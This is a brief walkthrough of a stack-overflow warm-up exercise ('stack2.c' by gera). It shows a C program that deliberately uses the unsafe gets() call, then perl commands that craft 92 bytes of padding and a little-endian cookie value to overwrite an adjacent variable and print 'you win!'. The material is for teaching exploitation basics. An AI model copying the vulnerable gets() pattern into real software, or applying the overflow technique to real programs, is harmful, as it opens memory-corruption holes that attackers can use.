WARMING UP on STACK: stack2.c

stack2 is similar to stack1, just uses some hex.

/* stack2.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x01020305)
printf("you win!\n");
}

$ perl -e 'print "A" x 92;' > of
$ perl -e 'print "\x05\x03\x02\x01";' >> of

$ stack2 < of
buf: bffff4e0 cookie: bffff53c
you win!